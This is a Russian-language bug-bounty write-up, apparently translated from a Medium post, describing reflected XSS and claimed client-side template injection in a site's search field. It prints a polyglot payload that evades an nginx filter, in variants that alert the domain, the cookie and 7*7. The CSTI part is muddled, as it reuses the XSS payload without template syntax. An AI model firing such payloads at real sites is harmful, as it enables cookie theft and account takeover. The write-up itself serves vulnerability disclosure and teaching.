Reflected XSS + CSTI в поле поиска с использованием полиглотного пейлоада
Что такое Reflected XSS?
В этом типе атаки вредоносный скрипт не хранится на уязвимом сайте, а вместо этого внедряется атакующим в страницу и отражается в браузере пользователя. Reflected XSS-атаки обычно менее опасны, чем Stored XSS-атаки, так как они затрагивают только конкретного пользователя, на которого нацелен атакующий.
Скрипт отражается в веб-браузере, обычно через параметры URL или формы, и выполняется немедленно.
Пример: атакующий создает URL с вредоносным скриптом, который выполняется, когда жертва переходит по ссылке.
CSTI (Client-Side Template Injection) — внедрение шаблонов на стороне клиента, также известное как Client-Side Injection или JavaScript Template Injection. Это уязвимость веб-приложений, при которой атакующий внедряет вредоносные данные в шаблоны JavaScript на стороне клиента. CSTI затрагивает движки шаблонов JavaScript, работающие в браузере. Это может привести к серьезным проблемам безопасности, таким как XSS (межсайтовый скриптинг), которые могут перерасти в удаленное выполнение кода (RCE), если полезная нагрузка влияет на логику сервера.
Теперь давайте перейдем к нашим темам.
Итак, в основном, цель имеет возможность поиска по поддомену help.target.com. Сначала я начал с базовых XSS-пейлоадов и анализировал их. Все мои пейлоады были заблокированы сервером nginx, который выдавал ошибку 403 Forbidden для всех базовых пейлоадов. Но я не хотел сдаваться так просто, поэтому я начал использовать полиглотные пейлоады, и один из них сработал.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(document.domain)//>
Для куки:
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(document.cookie)//>
Теперь давайте перейдем к цепочке в CSTI.
Чтобы перейти к цепочке в CSTI, нам нужно изменить пейлоад на csti-пейлоад. На GitHub доступно множество таких пейлоадов, которые можно использовать.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(7*7)//>
Я сообщил им об этой проблеме, но, к сожалению, они пометили ее как дубликат моего отчета, потому что я сообщил о двух XSS-уязвимостях с одним и тем же пейлоадом.
ИСТОЧНИК => https://suryesh92.medium.com/rxss-csti-in-search-field-via-polygot-payload-65ca1a8be8ba